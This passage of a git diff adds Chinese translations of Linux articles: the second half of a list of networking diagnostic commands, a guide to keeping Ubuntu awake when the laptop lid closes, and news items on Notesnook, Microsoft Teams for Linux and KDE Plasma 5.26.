`traceroute` 工具的组合,主要用于网络诊断,并提供网络响应和连接的实时情况。 + +使用 `mtr` 的最简单方法是用它跟上一个主机名或 IP 地址,它将给出一个实时的 `traceroute` 报告。 + +``` +mtr [URL/IP] +``` + +![mtr google.com][22] + +如果你想让 `mtr` 同时显示主机名和 IP 地址,你可以把它和 `-b` 选项配对,如下图: + +``` +mtr -b [URL] +``` + +![mtr -b][23] + +#### 11、whois + +`whois` 可以帮助你找到有关注册的域名、IP 地址、名称服务器等信息,因为它是 whois 目录服务的客户端。 + +这个工具可能没有预装在你的设备上,要在基于 Debian/Ubuntu 的发行版上安装,你可以使用给出的命令: + +``` +sudo apt install whois +``` + +一般来说,`whois` 命令是与给出的域名配对使用的: + +``` +whois [DomainName] +``` + +![whois google.com][24] + +另外,你也可以用一个 IP 地址来代替域名,你会得到同样的细节。 + +#### 12、ifplugstatus + +`ifplugstatus` 是一个最基本的,但也是最有用的工具,足以在基本水平上排除连接问题。它用于检测本地以太网的链接状态,其工作方式与 `mii-diag`、`mii-tool` 和 `ethtool` 类似,支持所有三个 API。 + +在基于 Debian/Ubuntu 的发行版上安装,你可以按照给出的命令进行: + +``` +sudo apt install ifplugd +``` + +这个工具没有任何花哨的选项,经常不需要与任何配对选项而使用: + +``` +ifplugstatus +``` + +![ifplugstatus][25] + +#### 13、iftop + +`iftop`(接口的 topInterface TOP)经常被管理员用来监控与带宽有关的统计数据,当你遇到网络问题时,也可以作为诊断工具使用。 + +这个工具需要手动安装,可以通过给出的命令在运行 Debian/Ubuntu 的机器上轻松安装。 + +``` +sudo apt install iftop +``` + +当 `iftop` 在没有任何选项的情况下使用时,它会显示默认接口的带宽统计。 + +``` +sudo iftop +``` + +![iftop][26] + +你也可以通过在设备名称后面加上 `-i` 选项来指定网络设备。 + +``` +sudo iftop -i . +``` + +在我的例子中,是 `enp1s0`,所以我的输出将是如下: + +![sudo iftop -i enp1s0][27] + +#### 14、tcpdump + +`tcpdump` 是一个数据包嗅探和分析工具,用于捕获、分析和过滤网络流量。它也可以作为一个安全工具使用,因为它将捕获的数据保存在可以 [通过 Wireshark 访问][28] 的 pcap 文件中。 + +像许多其他工具一样,`tcpdump` 没有预装,如果你是在Debian/Ubuntu 上,你可以按照下面的命令进行安装: + +``` +sudo apt install tcpdump +``` + +一旦你完成了安装,你可以获得当前接口的捕获数据包,如下所示: + +``` +sudo tcpdump +``` + +![sudo tcpdump][29] + +那么如何将捕获的数据包保存在 pcap 文件中呢?让我告诉你怎么做: + +``` +sudo tcpdump -w Captured_Packets.cap -i < networkdevice > +``` + +![sudo tcpdump -w][30] + +要访问保存的文件,你需要使用 `-r` 选项加上文件名。 + +``` +sudo tcpdump -r Captured_Packets.pcap +``` + +![sudo tcpdump -r filename][31] + +#### 15、ethtool + +顾名思义,`ethtool` 工具主要涉及管理以太网设备。使用这个工具,你可以调整网卡速度、自动协商特性等。 + +但它可能没有预装在你的机器上,可以通过利用给出的命令安装在 Debian/Ubuntu 机器上: + +``` +sudo apt install ethtool +``` + +要获取接口的详细信息,你只需在命令后面加上设备名称,如下所示: + +``` +sudo ethtool +``` + +![sudo ethtool enp1s0][32] + +#### 16、nmcli + +作为一个简单而强大的网络故障排除工具,它是任何系统管理员在排除网络故障时首先使用的工具之一,也可以在脚本中使用。 + +你可以使用 `nmcli` 命令来监控设备的连接状态: + +``` +nmcli dev status +``` + +![nmcli dev status][33] + +当不使用任何选项时,它将带来你系统中所有现有设备的信息: + +``` +nmcli +``` + +![nmcli][34] + +#### 17、nmap + +`nmap` 是一个探索和审计网络安全的工具。它经常被黑客和安全爱好者使用,因为它允许你获得网络的实时信息、连接到你的网络的 IP 的详细信息、端口扫描,以及更多。 + +要在基于 Debian/Ubuntu 的发行版上安装 `nmap` 工具,请使用给出的命令: + +``` +sudo apt install nmap +``` + +让我们开始扫描主机名: + +``` +nmap itsfoss.com +``` + +![nmap itsfoss.com][35] + +#### 18、bmon + +`bmon` 是一个开源的工具,用于监测实时带宽和调试问题,以更人性化的方式呈现统计数据。这个工具最好的部分是图形显示,甚至可以在 HTML 中得到你的输出! + +安装非常简单,因为 `bmon` 存在于流行的 Linux 发行版的默认仓库中,这也包括 Debian/Ubuntu。 + +``` +sudo apt install bmon +``` + +现在,你只需要启动 `bmon`,就可以用眼睛愉快地监控带宽了: + +``` +bmon +``` + +![bmon][36] + +#### 19、firewalld + +管理防火墙可以说是网络安全的核心部分,这个工具允许你添加、配置和删除防火墙的规则。 + +但是 firewalld 需要手动安装,如果你使用的是基于 Debian/Ubuntu 的发行版,你可以利用给出的命令进行安装: + +``` +sudo apt install firewalld +``` + +例如,我将向你展示,如何为公共区域永久地打开 80 端口: + +``` +sudo firewall-cmd --permanent --zone=public --add-port=80/tcp +``` + +![sudo firewall-cmd --permanent --zone=public][37] + +同样,要删除最近添加的规则,你必须使用 `-remove` 选项,如下所示: + +``` +sudo firewall-cmd --zone=public --remove-port=80/tcp +``` + +![sudo firewall-cmd --zone=public --remove][38] + +#### 20、iperf + +`iperf` 是一个用 C 语言编写的开源工具,允许用户进行网络性能测量和调整。 + +这个工具存在于 Debian/Ubuntu 的默认资源库中,可以通过给出的命令安装: + +``` +sudo apt install iperf +``` + +要开始监控网络,用户必须通过给出的命令在服务器上启动这个客户端: + +``` +iperf -s -u +``` + +其中,`-s` 选项表示服务器,`-u` 选项为 UDP 格式。 + +![iperf -s -u][39] + +现在,你可以通过提供首选协议的 IP 地址有效载荷连接到你的服务器(使用 `-c` 选项表示客户端)。在这个例子中,我选择了 UDP(使用 `-u` 选项),有效载荷为 100: + +``` +iperf -c 10.0.2.15 -u 100 +``` + +![iperf -c][40] + +#### 21、speedtest-cli + +顾名思义,这是 speedtest.net 网站的 CLI 工具。这个在 Apache 2.0 许可下发布的开源工具,当你想从 CLI 获得一个可靠的 [检查网速][41] 的来源时,会有很大帮助。 + +安装非常简单,如果你是在 Debian/Ubuntu 上,可以利用给出的命令轻松安装: + +``` +sudo apt install speedtest-cli +``` + +一旦你完成了安装部分,你只需要使用一行命令即可测试你的速度: + +``` +speedtest-cli +``` + +![speedtest-cli][42] + +#### 22、vnstat + +`vnstat` 工具主要被系统管理员用来监控网络流量和带宽消耗(大部分情况下),因为这个工具可以监控你系统的网络接口的流量。 + +和其他网络工具一样,你可以在默认的软件库中找到 `vnstat`,如果你在 Debian/Ubuntu 上,可以通过给出的命令进行安装: + +``` +sudo apt install vnstat +``` + +你可以使用 `vnstat` 命令,不需要任何选项,它将带来你系统所有可用接口的基本统计信息: + +``` +vnstat +``` + +![vnstat][43] + +对于实时监控,你可以将 `vnstat` 命令与 `-l` 选项配对。 + +![vnstat -l][44] + +### 一个长长的清单,对吗? + +这个汇编连冰山一角都算不上,只是分享了每个命令的目的和基本例子,因为增加更多的命令会使这个清单变得更长。 + +流行的但 [已废弃的 Linux 命令][45],如 `ipconfig`,已被故意排除在这个列表之外。 + +如果你很好奇,你可以学习 [如何最大限度地利用手册页][46],这将教会你如何使用任何实用程序的最大潜力。 + +如果我忘了提到任何你喜欢的东西,请在评论中告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/basic-linux-networking-commands/ + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/08/ip-address-1.png +[2]: https://itsfoss.com/wp-content/uploads/2022/08/ip-monitor.png +[3]: https://itsfoss.com/wp-content/uploads/2022/08/traceroute-google.com_.png +[4]: https://itsfoss.com/wp-content/uploads/2022/08/traceroute-6-google.com_.png +[5]: https://itsfoss.com/wp-content/uploads/2022/08/tracepath-google.com_.png +[6]: https://itsfoss.com/wp-content/uploads/2022/08/tracepath-b-google.com_.png +[7]: https://linuxhandbook.com/ping-command-ubuntu/ +[8]: https://itsfoss.com/wp-content/uploads/2022/08/ping-google.com_.png +[9]: https://linuxhandbook.com/ping-command-ubuntu/ +[10]: https://itsfoss.com/wp-content/uploads/2022/08/ss-at.png +[11]: https://itsfoss.com/wp-content/uploads/2022/08/ss-au.png +[12]: https://linuxhandbook.com/dig-command/ +[13]: https://itsfoss.com/wp-content/uploads/2022/08/dig-itsfoss.com_.png +[14]: https://itsfoss.com/wp-content/uploads/2022/08/host-itsfoss.com_.png +[15]: https://itsfoss.com/wp-content/uploads/2022/08/host-8.8.4.4.png +[16]: https://itsfoss.com/change-hostname-ubuntu/ +[17]: https://itsfoss.com/wp-content/uploads/2022/08/hostname.png +[18]: https://itsfoss.com/wp-content/uploads/2022/08/sudo-hostname-f.png +[19]: https://linuxhandbook.com/curl-command-examples/ +[20]: https://itsfoss.com/wp-content/uploads/2022/08/curl-o-url.png +[21]: https://itsfoss.com/wp-content/uploads/2022/08/curl-o.png +[22]: https://itsfoss.com/wp-content/uploads/2022/08/mtr-google.com_.png +[23]: https://itsfoss.com/wp-content/uploads/2022/08/mtr-b.png +[24]: https://itsfoss.com/wp-content/uploads/2022/08/whois-google.com_.png +[25]: https://itsfoss.com/wp-content/uploads/2022/08/ifplugstatus.png +[26]: https://itsfoss.com/wp-content/uploads/2022/08/iftop.png +[27]: https://itsfoss.com/wp-content/uploads/2022/08/sudo-iftop-i-enp1s0.png +[28]: https://itsfoss.com/install-wireshark-ubuntu/ +[29]: https://itsfoss.com/wp-content/uploads/2022/08/sudo-tcpdump.png +[30]: https://itsfoss.com/wp-content/uploads/2022/08/sudo-tcpdump-w-.png +[31]: https://itsfoss.com/wp-content/uploads/2022/08/sudo-tcpdump-r-filename.png +[32]: https://itsfoss.com/wp-content/uploads/2022/08/sudo-ethtool-enp1s0.png +[33]: https://itsfoss.com/wp-content/uploads/2022/08/nmcli-dev-status.png +[34]: https://itsfoss.com/wp-content/uploads/2022/08/nmcli.png +[35]: https://itsfoss.com/wp-content/uploads/2022/08/nmap-itsfoss.com_.png +[36]: https://itsfoss.com/wp-content/uploads/2022/08/bmon-800x591.png +[37]: https://itsfoss.com/wp-content/uploads/2022/08/sudo-firewall-cmd-permanent-zonepublic.png +[38]: https://itsfoss.com/wp-content/uploads/2022/08/sudo-firewall-cmd-zonepublic-remove.png +[39]: https://itsfoss.com/wp-content/uploads/2022/08/iperf-s-u.png +[40]: https://itsfoss.com/wp-content/uploads/2022/08/iperf-c-.png +[41]: https://itsfoss.com/network-speed-monitor-linux/ +[42]: https://itsfoss.com/wp-content/uploads/2022/08/speedtest-cli.png +[43]: https://itsfoss.com/wp-content/uploads/2022/08/vnstat.png +[44]: https://itsfoss.com/wp-content/uploads/2022/08/vnstat-l.png +[45]: https://itsfoss.com/deprecated-linux-commands/ +[46]: https://linuxhandbook.com/man-pages/ diff --git a/published/202209/20220831 Don-t Suspend Ubuntu When Laptop Lid is Closed.md b/published/202209/20220831 Don-t Suspend Ubuntu When Laptop Lid is Closed.md new file mode 100644 index 0000000000..3f9798fcb4 --- /dev/null +++ b/published/202209/20220831 Don-t Suspend Ubuntu When Laptop Lid is Closed.md @@ -0,0 +1,94 @@ +[#]: subject: "Don’t Suspend Ubuntu When Laptop Lid is Closed" +[#]: via: "https://itsfoss.com/laptop-lid-suspend-ubuntu/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15015-1.html" + +如何在笔记本电脑合盖时不挂起 Ubuntu +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/09/230733ppyyws84ccgrc777.jpg) + +如果你在笔记本电脑上使用 Ubuntu,你可能已经注意到当你合上盖子时系统处于挂起状态。 + +这是预期的行为。它可以节省电池和你的工作。你掀开盖子,系统唤醒,你可以登录并继续工作。 + +这一切听起来都不错,除非你使用多显示器设置。像我这样的一些人更喜欢关闭笔记本电脑,只使用外接显示器。 + +但是,如果关闭笔记本电脑盖会挂起系统,那么会产生问题。 + +让我告诉你如何改变这种行为。 + +### 关闭笔记本电脑盖时不要挂起 + +实际上,我注意到最近的 Ubuntu 版本在这个情况下更智能。当笔记本电脑连接到扩展坞并合上盖子时,它不会进入挂起模式。 + +这是正常的预期行为,但由于 Ubuntu 某种神才知道的原因,它可能不会一直有效。 + +好消息是你可以使用 GUI 和命令行强制更改此行为。 + +让我分享这两种方法。 + +#### 方法 1:使用 GNOME 优化 + +如果你使用的是默认的 GNOME 桌面,那么你很幸运。 [在 Ubuntu 的软件中心安装 GNOME 优化(Tweaks)工具][1],或使用以下命令: + +``` +sudo apt install gnome-tweaks +``` + +安装后,启动优化应用。在侧边栏的常规General选项卡中,关闭“笔记本电脑盖合上时挂起Suspend when laptop lid is closed”按钮。 + +![change lid close behavior ubuntu][2] + +这就好了。你不需要重启即可使更改生效。 + +现在,让我们谈谈命令行方法。 + +#### 方法 2:更改登录配置(针对高级用户) + +如果你查看文件 `/etc/systemd/logind.conf` 的内容,你将看到三种不同类型的笔记本电脑合盖默认设置: + +* `HandleLidSwitch=suspend`:当笔记本电脑使用电池供电时,合盖挂起 +* `HandleLidSwitchExternalPower=suspend`:当笔记本电脑插入电源插座时,合盖挂起 +* `HandleLidSwitchDocked=ignore`:当笔记本电脑连接到扩展坞时,合盖忽略 + +![Default laptop lid closing settings][3] + +如你所见,如果合上盖子,笔记本电脑将挂起,无论它是否连接到电源。而连接扩展坞忽略合盖。 + +如果需要,你可以根据自己的喜好将这些参数的值更改为其中之一: + +* `suspend`:合盖时挂起 +* `lock`:合盖时锁定 +* `ignore`:什么都不做 +* `poweroff`:关机 +* `hibernate`:合盖时休眠 + +如果你不希望你的系统在笔记本电脑盖合上时执行任何特殊操作,我建议你使用 `ignore`。 + +你可以编辑 `/etc/systemd/logind.conf` 文件,或者在 `/etc/systemd/logind.conf.d` 目录中创建一个新文件,并取消注释上述设置并更改其值。如果此目录不存在,请创建此目录。 + +我不会给你确切的命令。如果你熟悉命令行,你应该可以做到。如果你对命令行感到不习惯,请使用前面的 GUI 方法。 + +我希望这可以帮助你。如果你有任何问题,请告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/laptop-lid-suspend-ubuntu/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/gnome-tweak-tool/ +[2]: https://itsfoss.com/wp-content/uploads/2022/08/change-lid-close-behavior-ubuntu.png +[3]: https://itsfoss.com/wp-content/uploads/2022/08/laptop-lid-settings-ubuntu.png diff --git a/published/202209/20220902 Evernote Alternative Notesnook is Now Open Source.md b/published/202209/20220902 Evernote Alternative Notesnook is Now Open Source.md new file mode 100644 index 0000000000..63faff067a --- /dev/null +++ b/published/202209/20220902 Evernote Alternative Notesnook is Now Open Source.md @@ -0,0 +1,79 @@ +[#]: subject: "Evernote Alternative Notesnook is Now Open Source" +[#]: via: "https://news.itsfoss.com/notesnook-goes-open-source/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15001-1.html" + +印象笔记的替代品 Notesnook 现已开源 +====== + +![](https://news.itsfoss.com/content/images/size/w2000/2022/09/notesnook-ft.png) + +> Notesnook 是一个以隐私为重点的新的记事本应用程序,它决定开源了。 + +当你想到一个开源的安全记事本应用程序时,你会想到什么? + +可能是 [标准笔记][2]Standard Notes。 + +🔒 它是一个开源的、端到端加密的应用程序。而且也正是 Linux 用户最好的记事应用程序之一。 + +然而,提供类似于流行的印象笔记功能的注重隐私的标准笔记替代品较少。 + +幸运的是,我们有一个新的选择加入了名单,即 **Notesnook**。 + +📢 Notesnook 最近在 GPLv3 许可下进行了开源,以让社区帮助改进它,并确保该项目不至于走样。 + +目前,开发人员希望把重点放在改进 GitHub 仓库上,然后继续增加新的功能/其他开发活动。 + +### Notesnook:它能提供什么? + +![notesnook][5] + +Notesnook 是一个开源的零知识笔记存储平台,具有端到端加密功能。 + +与标准笔记类似,你可以免费使用它,也可以选择高级计划来解锁更多的好处。一些亮点包括: + +* 手机端的应用锁。 +* 私人笔记保险库。 +* 密码保护的笔记共享。 +* 跨平台。 + +界面看起来像是组合了各种有用的东西。我有兴趣单独写篇点评,或许写篇比较文章,听起来不错,对吗? + +它可用于 Windows、mac 和 Linux。你可以下载用于 Linux 桌面的 AppImage 文件,或者 .deb/.rpm。 + +🏷️ 💲 **为了庆祝开源**,Notesnook 还为其 [年度高级计划][6] 提供高达 75% 的折扣,并提供 30 天退款保证。你可以试一试,看看你是否需要高级计划。 + +在印度付费的话,我看到有 80% 的折扣,使得一年的订阅费用只有 10 美元。其他地区的情况可能不同。 + +探索其 [GitHub 页面][7] 或 [官方网站][8] 以了解更多。此外,你可以阅读他们的 [博客文章][9],了解他们为什么决定要开源。 + +> **[Notesnook][10]** + +💬 *你认为 Notesnook 作为一个以隐私为中心的新的记事应用程序怎么样?* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/notesnook-goes-open-source/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/09/notesnook-ft.png +[2]: https://standardnotes.com/ +[3]: https://itsfoss.com/note-taking-apps-linux/ +[5]: https://news.itsfoss.com/content/images/2022/09/notesnook.jpg +[6]: https://notesnook.com/pricing/ +[7]: https://github.com/streetwriters/notesnook +[8]: https://notesnook.com/ +[9]: https://blog.notesnook.com/notesnook-is-going-open-source/ +[10]: https://notesnook.com/ diff --git a/published/202209/20220902 Microsoft Decides to Drop the Linux App for Teams to Replace it as a Progressive Web App Instead.md b/published/202209/20220902 Microsoft Decides to Drop the Linux App for Teams to Replace it as a Progressive Web App Instead.md new file mode 100644 index 0000000000..77f154eba6 --- /dev/null +++ b/published/202209/20220902 Microsoft Decides to Drop the Linux App for Teams to Replace it as a Progressive Web App Instead.md @@ -0,0 +1,74 @@ +[#]: subject: "Microsoft Decides to Drop the Linux App for Teams to Replace it as a Progressive Web App Instead" +[#]: via: "https://news.itsfoss.com/microsoft-linux-app-retire/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14995-1.html" + +微软决定放弃 Teams 的 Linux 应用,而用渐进式网页应用取代 +====== + +> 微软将不再为 Teams 提供 Linux 应用。以下是你如何在 Linux 上使用 Teams 的方法。 + +![微软决定不再为 Teams 提供 Linux 应用程序,取而代之的是渐进式Web应用程序][1] + +**微软爱 Linux ...** 💔 + +如果你还记得微软的这个营销套路,那么在阅读这条新闻时,你就知道这并不完全正确。 + +早在 2019 年,微软就为 Teams 推出了 Linux 应用的公共预览版。现在,在其存在的三年后,他们决定在 2022 年 12 月退役其 Linux 客户端。 + +在发表这篇文章的时候,没有任何官方公告来宣布这一消息。这个消息有可能是一个使用微软 Teams 的管理员发现的,它可能是内部管理员的通知之一(据 [Hacker News][2])。 + +该通知提到: + +> 我们将在 90 天内(12 月初)退役 Linux 上的微软 Teams 桌面客户端,该客户端目前以公共预览提供。所有使用微软 Teams Linux 桌面客户端的用户将不得不过渡到网页(PWA)版本,这是我们将继续投入开发资源的地方。我们会帮助所有目前在 Linux 上的客户开始使用 PWA 应用;一旦我们接近发布这一功能,我们将发布相应的指导。 + +### 渐进式网页应用(PWA)将取代 Linux 应用程序 + +![微软 Teams Linux 应用程序][3] + +微软表示,再过段时间,他们将在 Linux 上提供一个 Teams 渐进式网页应用程序(PWA)。 + +这个 PWA 将支持背景模糊、自定义背景、反应和其他一些类似桌面应用的功能。因此,对于一些用户来说,这是一个好消息。 + +目前还不清楚 PWA 将在何时推出,因为他们只提到你可以在未来几个月内期待它。 + +**不幸的是**,Mozilla Firefox(Linux 的最佳浏览器之一)不提供对 PWA 的支持。 + +因此,根据官方信息,你可以在 [Edge][4] 和 [Linux 上的 Chrome 浏览器][5]上运行 PWA : + +> 我们听到你说希望在 Linux 上获得微软 Teams 的全部丰富功能,如背景效果、反应、画廊视图等。我们发现对此采取行动的最佳方式是在 Linux 上提供一个 Teams 渐进式网页应用(PWA),以作为我们当前网页客户端的一个新功能,我们将在未来几个月向我们的 Linux 客户提供。 +> +> PWA 使我们能够更快地将最新的 Teams 功能提供给我们的 Linux 客户,并帮助我们弥补 Linux 和 Windows 上 Teams 桌面客户端之间存在的差距。PWA 体验将在 Linux 上的 Edge 和 Chrome 浏览器上提供。 + +### 你现在能做什么? + +老实说,Linux 上的微软 Teams 应用的体验并不是很好。 + +因此,你应该开始使用网页应用,或者等待 PWA。当然,如果你使用 PWA 的话,你可能不习惯使用微软 Edge 或 Chrome 浏览器。但是,没办法。 + +你也可以尝试一些非官方的 Linux 客户端,但我不确定那会有多好用。 + +*你对微软退役其官方 Linux 应用而偏爱 PWA 或网页版有何看法?在下面的评论中分享你的想法。* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/microsoft-linux-app-retire/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/09/ms-dropping-teams-for-linux.png +[2]: https://news.ycombinator.com/item?id=32678839 +[3]: https://news.itsfoss.com/content/images/2022/09/teams-linux.jpg +[4]: https://itsfoss.com/microsoft-edge-linux/ +[5]: https://itsfoss.com/install-chrome-ubuntu/ diff --git a/published/202209/20220903 8 Exciting New Features in the Upcoming KDE 5.26 Release.md b/published/202209/20220903 8 Exciting New Features in the Upcoming KDE 5.26 Release.md new file mode 100644 index 0000000000..377b270524 --- /dev/null +++ b/published/202209/20220903 8 Exciting New Features in the Upcoming KDE 5.26 Release.md @@ -0,0 +1,176 @@ +[#]: subject: "8 Exciting New Features in the Upcoming KDE 5.26 Release" +[#]: via: "https://news.itsfoss.com/KDE-plasma-5-26-features/" +[#]: author: "Rishabh Moharir https://news.itsfoss.com/author/rishabh/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14998-1.html" + +即将发布的 KDE 5.26 版本中的 8 个令人感兴趣的新功能 +====== + +> KDE Plasma 5.26 是一个令人兴奋的即将发布的更新版本,添加了大量有用的功能。 + +![](https://img.linux.net.cn/data/attachment/album/202209/04/115636wku1fkkl5zf5f5le.jpg) + +在过去的五个月里,流行的桌面环境 KDE Plasma 做了一些重大的更新和大量的修复。 + +上一个版本 Plasma 5.25 已经有了许多新的功能和改进,特别是对用户界面和体验的改进,而下一个版本听起来更令人兴奋。 + +### KDE Plasma 5.26 有什么新功能? + +让我们来抢先了解一下 KDE Plasma 5.26 的一些新功能。 + +> KDE Plasma 5.26 计划于 2022 年 10 月 6 日发布。 + +#### 1、用户界面的改进 + +如同上一个版本,Plasma 5.26 也对用户界面的互动方式做了许多改进。你会发现一些细微的变化,以及对在 KDE Plasma 5.26 上互动/搜索东西做了调整,**给用户更多信息**。 + +例如,格式Format语言 Language 的设置页面现在已经合并了,可以给你一个更干净的外观,并摆脱了一些与之相关的常见错误。 + +Han Young 为 [这两个页面的合并][4] 做了大量工作。 + +因此,你可以很容易地设置默认格式,以及对 [你的地址、姓名风格、电话号码][5] 等进行设置。 + +![KDE Plasma 5.26][6] + +另一个例子包括,如果你在系统设置的 “自动启动Autostart” 窗口的 “登录脚本Login Scripts” 部分添加一个 Shell 脚本,而该脚本没有被标记为可执行,就会显示一个警告。此外,它还包括一个按钮,单击即可设置为可执行。 + +感谢 Nicolas Fella 的这个 [贡献][7] + +![][8] + +以及,任务切换效果 “覆盖Cover” 和“翻转Flip>” 使用了 Plasma 对话框作为背景。 + +在概览效果中使用的同样的 UI 组件现在也替代应用了,给人一种更一致的外观。这也包括统一的背景和模糊的效果。 + +感谢 Ismael Asensio 的这一 [补充][9] + +![][10] + +更多的 UI 改进包括: + +* 打磨 KDE 应用程序以获得更干净的用户体验。 +* 调整系统设置,使其看起来更干净。 +* 对配置文件夹与 Samba 共享进行了改进。 +* 完善 Dolphin 文件管理器的用户界面。 + +#### 2、Dolphin 的新选择模式 + +尤其是那些使用触摸屏的用户,现在可以通过在文件夹或文件上执行长按来轻松选择或取消选择项目,就像在智能手机上一样。如果你使用的是鼠标和键盘,按空格键将进入或退出这个可选模式。 + +此外,也将显示带有一系列选项的上下文菜单,就像右键菜单一样。 + +感谢 Felix Ernst 的这个很酷的 [新增功能][11]。 + +![][12] + +#### 3、“开始”的新紧凑模式 + +Plasma 的本地应用程序启动器“开始Kickoff”,现在支持一种新的模式,叫做“紧凑Compact”视图。 + +顾名思义,内容被缩小了,以便更多的项目可以被看到。请注意,这个设置对使用触摸模式的用户来说并不理想,因此被禁用。 + +这个有用的 [新增功能][13] 来自于 Nate Graham 的出色工作。 + +![][14] + +#### 4、不再模糊的 XWayland 应用程序 + +使用 HiDPI 屏幕的 Wayland 用户面临着许多与应用程序的缩放有关的问题。为了解决这个问题,用户可以为他们的 XWayland 应用程序选择两种缩放方式。 + +一种方法是允许使用合成器进行统一缩放,这可能会导致轻微的模糊。 + +另一种是允许应用程序自己缩放。请注意,支持预置的 X11 HiDPI 的应用程序只能通过这种设置进行改善。 + +甚至在每个选项上都添加了一个帮助图标,详细说明了该选项的作用,因此用户可以得到更清晰的理解。 + +感谢 David Edmundson 和 Aleix Pol Gonzales 添加的缩放功能和 Nate Graham 的 [帮助工具提示][15]。 + +![][16] + +#### 5、支持更多的硬件和固件数据 + +系统设置中的 “关于本系统About This System”页面已经更新,以支持更新的硬件和固件。苹果 Mac/Macbook 用户会很高兴地知道,对苹果 M1 的支持也包括在内。 + +感谢 James Calligeros 提供的这一 [补充][17]。 + +![][18] + +#### 6、对“发现”的增强 + +KDE 的旗舰应用商店 发现Discover 已经得到了一些有用的补充,应该可以帮助用户在选择软件时避免混淆。 + +例如,如果正在应用页面上浏览的是测试版,“发现” 将显示一个信息框。此外,如果测试版频道已经过时或比稳定版频道更老,也会显示一个警告。 + +![][19] + +如果该软件是一个插件,“来自Distributed by”标签将不再显示项目的源码不可点击的 URL,而是显示“KDE 商店”。 + +此外,用户终于可以为任何软件更新设置相应的通知频率了。 + +这些增强来自于 Aleix Pol Gonzalez 的出色工作。 + +#### 7、可重新绑定的鼠标按钮 + +![鼠标附加按钮配置][20] + +如果你使用的鼠标有附加按钮,你可以把这些按钮分配给按键或键盘快捷键。 + +这是由 David Rdondo 实现的,这是 KDE Plasma 5.26 的一个相当好的功能。 + +#### 8、从文件搜索启动可执行文件 + +在 KDE Plasma 5.26 中,当你试图打开一个通过文件搜索找到的可执行文件时,你会得到一个提示: + +你可以选择执行该文件或打开它。我认为这是一个相当有用的补充。 + +#### 🛠️ 其他功能和改进措施 + +除了上面列出的关键亮点外,还有大量的其他新增功能和错误修复。 + +一些值得注意的更多改进包括: + +* 能够在主日历下同时设置和跟踪两个不同的日历。 +* Elisa 播放器有了全屏模式。 +* 可调整的面板小部件弹窗。 +* 无需应用,一键预览桌面壁纸。 +* 壁纸根据使用的浅色或深色方案自动调整图像。 +* 可以禁用 Wayland 会话的鼠标中键点击粘贴。 +* 使用 “备用Alternate” 面板在小部件之间切换时,会保存旧小部件的设置。 + +💬 *你对 KDE Plasma 5.26 的变化感到兴奋吗?请在下面的评论中分享你的想法。* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/KDE-plasma-5-26-features/ + +作者:[Rishabh Moharir][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/rishabh/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2022/09/kde-5-26-release.png +[4]: https://invent.KDE.org/plasma/plasma-workspace/-/merge_requests/1147 +[5]: https://bugs.KDE.org/show_bug.cgi?id=430801 +[6]: https://news.itsfoss.com/content/images/2022/08/more-things-to-configure.webp +[7]: https://invent.KDE.org/plasma/plasma-workspace/-/merge_requests/878 +[8]: https://news.itsfoss.com/content/images/2022/08/needs-to-be-executable.webp +[9]: https://invent.KDE.org/plasma/KDEplasma-addons/-/merge_requests/168 +[10]: https://news.itsfoss.com/content/images/2022/08/switchui.webp +[11]: https://bugs.KDE.org/show_bug.cgi?id=427202 +[12]: https://news.itsfoss.com/content/images/2022/08/selection-mode-in-dolphin.jpeg +[13]: https://invent.KDE.org/plasma/plasma-desktop/-/merge_requests/699 +[14]: https://news.itsfoss.com/content/images/2022/08/compact_mode.png +[15]: https://invent.KDE.org/plasma/kscreen/-/merge_requests/108 +[16]: 